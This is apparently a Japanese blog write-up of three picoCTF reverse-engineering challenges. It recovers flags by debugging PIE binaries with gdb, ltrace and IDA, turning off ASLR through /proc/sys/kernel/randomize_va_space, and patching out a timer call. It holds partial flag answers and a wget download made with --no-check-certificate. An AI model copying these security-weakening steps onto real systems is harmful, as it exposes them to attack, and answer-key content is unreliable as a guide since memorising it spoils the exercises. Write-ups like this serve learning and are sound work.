not crypto (150points)

64ビットのELFファイルnot-cryptoを解析してフラグを取得する問題。

ファイルをchecksecで確認したところ、PIEが有効化されていた。

$ sudo checksec.sh --file=not-crypto
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols	  No	0		1		not-crypto

ファイルを実行するとI heard you wanted to bargain for a flag... whatcha got?というメッセージを表示してユーザーからの入力を待ち受ける。適当なデータを入力したところ、Nope, come back laterというメッセージとともにプログラムが終了した。

$ ./not-crypto 
I heard you wanted to bargain for a flag... whatcha got?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Nope, come back later

ファイルをIDAで眺めたところ、以下のmemcmp命令が目についた。

どうやらユーザーの入力値の先頭64バイトとフラグの先頭64バイトを比較し、両者が一致した場合はYep, that's it!というメッセージを表示し、一致しなかった場合はNope, come back laterというメッセージを表示して終了する模様。

memcmpのcall部分にブレークポイントをセットし、memcmpの引数の値をダンプすればフラグが取れそうである。

ただし、冒頭で述べたようにnot-cryptoはPIEが有効化されている。そのためプログラム実行時のアドレス配置がランダム化され、これがデバッガでブレークポイントをセットする際に妨げになる。(アドレスがランダム化されるので、ブレークポイントをセットしようにも、どのアドレスにセットすれば良いのか分からない。)

自分は以下の手順で上記の問題を解決した。

まずOS上でASLRを一時的に無効化した。以下のコマンドを実行して解析に使用しているUbuntuのASLRを無効化した。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

続いてltrace-iオプションを利用してmemcmpのアドレスを事前に確認した。

$ ltrace -i ./not-crypto 
[0x5555555550a8] puts("I heard you wanted to bargain fo"...I heard you wanted to bargain for a flag... whatcha got?
)                                                                   = 57
[0x555555555181] fread(0x7fffffffdd50, 1, 64, 0x7ffff7dd4640aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
)                                                                  = 64
[0x5555555553be] memcmp(0x7fffffffde60, 0x7fffffffdd50, 64, 164)                                                               = 15
[0x555555555ab1] puts("Nope, come back later"Nope, come back later
)                                                                                 = 22
[0xffffffffffffffff] +++ exited (status 1) +++

上記よりmemcmpはアドレス0x5555555553beにて呼び出されることが分かった。

GDBを起動して0x5555555553beにブレークポイントをセットし、プログラムを実行。

$ gdb -q ./not-crypto
Reading symbols from ./not-crypto...(no debugging symbols found)...done.
(gdb) b *0x5555555553be
Breakpoint 1 at 0x5555555553be
(gdb) r
Starting program: /home/sansforensics/Desktop/not_crypto/not-crypto 
I heard you wanted to bargain for a flag... whatcha got?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x00005555555553be in ?? ()

ブレークポイントに到達したらmemcmpの引数として渡されているメモリ・ブロック (今回の場合は0x7fffffffde60)の中身をダンプしてみた。

(gdb) x 0x7fffffffde60
0x7fffffffde60:	"ut_n0_pr0bl3m?}\n\377\265", <incomplete sequence \360>

フラグの断片らしき文字列が確認できた。

ダンプするアドレスを0x7fffffffde60から適当にずらしてみたところ、全てのフラグ文字列を確認することができた。

(gdb) x 0x7fffffffde20
0x7fffffffde20:	"\315\a\226\341\360S\307\371sj:\036-\272\227\244picoCTF{c0mp1l3r_<REDACTED>ut_n0_pr0bl3m?}\n\377\265", <incomplete sequence \360>

Keygenme (400points)

64ビットのELFファイルkeygenmeを解析してフラグを取得する問題。

ファイルをchecksecで確認したところ、PIEが有効化されていた。

$ sudo checksec.sh --file=keygenme
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols	  No	0		3		keygenme

続いてファイルをIDAで眺めてみたところ、picoCTF{br1ng_y0ur_0wn_k3y_というフラグ文字列を確認できた。

これはフラグがスタック文字列になっているパターンで、このままアセンブリを読んでいけばフラグを取れるのでは?と期待したが、そう簡単には行かなかった。picoCTF{br1ng_y0ur_0wn_k3y_というフラグ文字列がメモリにロードされるとループに突入し、メモリから何やらデータを読み出してこねくり回し、残りのフラグ文字列を生成するようだが、自分にはこれらの処理をアセンブリから読み解くのは至難だった。

これはデバッグ必須と考え、試しにkeygenmeを実行してみたところ以下のエラーに遭遇した。

$ ./keygenme 
./keygenme: error while loading shared libraries: libcrypto.so.1.1: cannot open shared object file: No such file or directory

どうやらlibcrypto.so.1.1というライブラリが不足しており、プログラムを実行できなかった模様。picoCTFのWebshell上でkeygenmeを実行しても同様のエラーが発生した。

lddコマンドで確認すると、確かにlibcrypto.so.1.1not foundとなっており、読み込みに失敗していた。

$ ldd keygenme 
	linux-vdso.so.1 =>  (0x00007fff761b5000)
	libcrypto.so.1.1 => not found
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff38e6bf000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ff38eab0000)

findコマンドでlibcrypto.so.1.1を探してみたが見つからなかった。

$ sudo find / -name libcrypto.so.1.1
$

どうやら、どこかからlibcrypto.so.1.1を引っ張ってくる必要がありそうである。

調べてみたところ、stackoverflowで紹介されていたopenssl-1.1.1をインストールしてlibcrypto.so.1.1/usr/libにリンクさせるという方法で解決することができた。

以下、ざっくりとした手順。

まずopenssl-1.1.1をダウンロードする。

wget https://www.openssl.org/source/openssl-1.1.1o.tar.gz --no-check-certificate

ダウンロードしたtarファイルを解凍する。

gunzip openssl-1.1.1o.tar.gz
tar -xf openssl-1.1.1o.tar

openssl-1.1.1をインストールする。

cd openssl-1.1.1o
./config
make
make test
sudo make install

libssl.so.1.1を探して/usr/libにリンクさせる。

sudo find / -name libssl.so.1.1
sudo ln -s /usr/local/lib/libssl.so.1.1 /usr/lib/libssl.so.1.1

続いてlibcrypto.so.1.1を探して/usr/libにリンクさせる。

sudo find / -name libcrypto.so.1.1
sudo ln -s /home/sansforensics/Desktop/keygenme/openssl-1.1.1o/libcrypto.so.1.1 /usr/lib/libcrypto.so.1.1

これで完了である。

lddコマンドで確認したところ、ちゃんとlibcrypto.so.1.1が読み込まれていた。

$ ldd keygenme 
	linux-vdso.so.1 =>  (0x00007fff02bfe000)
	libcrypto.so.1.1 => /usr/lib/libcrypto.so.1.1 (0x00007f1d8aa9d000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1d8a6d4000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f1d8a4d0000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f1d8a2b1000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f1d8afae000)

これでkeygenmeが実行できるようになった。

$ ./keygenme 
Enter your license key: hoge
That key is invalid.

正しいライセンスキーを入力するとThat key is valid.というメッセージ表示され、ライセンスキーが正しくない場合はThat key is invalid.というメッセージが表示される。ライセンスキーの検証はサブルーチン0x1209で行われる。

さて、冒頭で述べたようにkeygenmeはPIEが有効化されている。そのためプログラム実行時のアドレス配置がランダム化され、これがデバッガでブレークポイントをセットする際に妨げになる。(アドレスがランダム化されるので、ブレークポイントをセットしようにも、どのアドレスにセットすれば良いのか分からない。)

自分は以下の手順で上記の問題を解決した。

まずOS上でASLRを一時的に無効化した。以下のコマンドを実行して解析に使用しているUbuntuのASLRを無効化した。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

続いてプログラムのベース・アドレスの確認方法だが、keygenmelddコマンドを走らせるとld-linux-x86-64.so.2がアドレス0x555555554000にロードされていることに気がついた。

$ ldd keygenme 
	linux-vdso.so.1 =>  (0x00007ffff7ffd000)
	libcrypto.so.1.1 => /usr/lib/libcrypto.so.1.1 (0x00007ffff7aec000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7723000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff751f000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ffff7300000)
	/lib64/ld-linux-x86-64.so.2 (0x0000555555554000)

もしかして0x555555554000がベース・アドレスなのでは?と思いつき、試しに以下の命令部分にブレークポイントをセットしてみることにした。

00000000000014DD E8 27 FD FF FF          call    checkLicenseKey_1209 ; return 1 if key is valid

相対アドレス0x14DDの実際のアドレスを取得するにはベース・アドレスの0x5555555540000x14DDを足してやればいい。

>>> hex(0x555555554000 + 0x14DD)
'0x5555555554dd'

0x5555555554ddにブレークポイントをセットしてkeygenmeを実行したところ、ちゃんと0x5555555554ddのブレークポイントが起動しているのが確認できた。

$ gdb -q ./keygenme
Reading symbols from ./keygenme...(no debugging symbols found)...done.
(gdb) b *0x5555555554dd
Breakpoint 1 at 0x5555555554dd
(gdb) r
Starting program: /home/sansforensics/Desktop/keygenme/keygenme 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your license key: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x00005555555554dd in ?? ()
(gdb) 

これでkeygenmeのベース・アドレスは0x555555554000ということが判明した。あとは解析したいコード部分の相対アドレスに0x555555554000を加算してやれば、実際のアドレスを取得してブレークポイントをセットすることができる。

IDAでkeygenmeを眺めてみると以下の命令ブロックが気になった。

picoCTF{br1ng_y0ur_0wn_k3y_という文字列がメモリにロードされた後に、上記の命令ブロックに処理が移るので、恐らくここで残りのフラグ文字列を生成するものと思われる。

さっそくブレークポイントをセットしてデバッグしてみることにした。相対アドレス0x13c8の実際のアドレスは以下の通りである。

>>> hex(0x555555554000 + 0x13c8)
'0x5555555553c8'

0x5555555553c8にブレークポイントをセットして実行し、メモリの中身をダンプしてみたところ、438218d572e90162d0981cbbc7d43882cbb184dd8e05c9709e5dcaedaa0495cfというハッシュ値がロードされているのが確認できた。

Breakpoint 2, 0x00005555555553c8 in ?? ()
(gdb) x/s $rbp-0x70
0x7fffffffde00:	"438218d572e90162d0981cbbc7d43882cbb184dd8e05c9709e5dcaedaa0495cfpicoCTF{br1ng_y0ur_0wn_k3y_\367\377\177"
(gdb) 

どうやら、このハッシュ値から値を1バイトずつ取り出して最終的にpicoCTF{br1ng_y0ur_0wn_k3y_と連結させるようである。

相対アドレス0x1411 (実際のアドレス: 0x555555555411)まで処理を進めて、再度メモリの中身をダンプしてみたところ、残りのフラグ文字列が確認できた。

Breakpoint 3, 0x0000555555555411 in ?? ()
(gdb) x/s $rbp-0x15
0x7fffffffde5b:	"ab<REDACTED>c}"

Need For Speed (400points)

64ビットのELFファイルneed-for-speedを解析してフラグを取得する問題。

ファイルをchecksecで確認したところ、PIEが有効化されていた。

$ sudo checksec.sh --file=need-for-speed
[sudo] password for sansforensics: 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   77 Symbols	  No	0		0		need-for-speed

プログラムを実行してみたところ、Creating key…というメッセージを表示して数秒したのち、Not fast enough. BOOM!というメッセージを表示して終了した。

$ ./need-for-speed
Keep this thing over 50 mph!
============================

Creating key...
Not fast enough. BOOM!

ファイルをIDAで眺めてみたところ、headerset_timerget_keyprint_flagという4つの関数が目についた。

それぞれの関数をざっくりチェックしてみた。

  • header : Keep this thing over 50 mph! というメッセージを表示するだけの関数。
  • set_timer : プログラムが実行されてからの時間を計測する関数。実行から一定時間が経つとNot fast enough. BOOM!というメッセージを表示してプログラムを終了する。
  • get_key : フラグを復号するための鍵を生成する関数。内部でcalculate_keyという関数を呼び出している。
  • print_flag : フラグを復号して標準出力に表示する関数。内部でdecrypt_flagという関数を呼び出している。

上記で特に興味深いのはprint_flag関数である。この関数は内部でdecrypt_flagという関数を呼び出してフラグを復号し、標準出力に表示する。

冒頭で述べたようにneed-for-speedはPIEが有効化されている。そのためプログラム実行時のアドレス配置がランダム化され、これがデバッガでブレークポイントをセットする際に妨げになる。(アドレスがランダム化されるので、ブレークポイントをセットしようにも、どのアドレスにセットすれば良いのか分からない。)

自分は以下の手順で上記の問題を解決した。

まずOS上でASLRを一時的に無効化した。以下のコマンドを実行して解析に使用しているUbuntuのASLRを無効化した。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

続いてプログラムのベース・アドレスの確認方法だが、need-for-speedlddコマンドを走らせるとld-linux-x86-64.so.2がアドレス0x555555554000にロードされていることに気がついた。

$ ldd need-for-speed
	linux-vdso.so.1 =>  (0x00007ffff7ffd000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a0f000)
	/lib64/ld-linux-x86-64.so.2 (0x0000555555554000)

おそらく0x555555554000がプログラムのベース・アドレスと思われる。あとは解析したいコード部分の相対アドレスに0x555555554000を加算してやれば、実際のアドレスを取得してブレークポイントをセットすることができる。

さて、need-for-speedをそのまま実行してもset_timer関数が邪魔をしてフラグがメモリにロードされる前にプログラムが終了してしまうのでset_timerのcall命令をNOPする必要がある。

自分はIDAを用いてプログラムをパッチした。(詳しい手順はこちらの記事プログラムをパッチするの項を参照)

パッチ後のファイルをneed-for-speed-patchedとして保存し、以降のデバッグにはパッチ後のファイルを用いた。

下記はdecrypt_flag実行後の命令コードである。putsの直後のnop命令(アドレス0x08d5)にブレークポイントをセットして実行すればフラグを取れそうである。

.text:00000000000008C4 E8 A1 FE FF FF          call    decrypt_flag
.text:00000000000008C9 48 8D 3D 50 07 20 00    lea     rdi, flag       ; s
.text:00000000000008D0 E8 3B FD FF FF          call    _puts
.text:00000000000008D5 90                      nop

相対アドレス0x08d5の実際のアドレスは以下の通りである。

>>> hex(0x0000555555554000 + 0x08d5)
'0x5555555548d5'

0x5555555548d5にブレークポイントをセットして実行したところ、フラグが取れた。

$ gdb -q ./need-for-speed-patched
Reading symbols from ./need-for-speed-patched...(no debugging symbols found)...done.
(gdb) b *0x5555555548d5
Breakpoint 1 at 0x5555555548d5
(gdb) r
Starting program: /home/sansforensics/Desktop/Need_For_Speed/need-for-speed-patched 
Keep this thing over 50 mph!
============================

Creating key...
Finished
Printing flag:
PICOCTF{Good job keeping bus <REDACTED> speeding along!}

Breakpoint 1, 0x00005555555548d5 in print_flag ()

Leave a Reply

Your email address will not be published. Required fields are marked *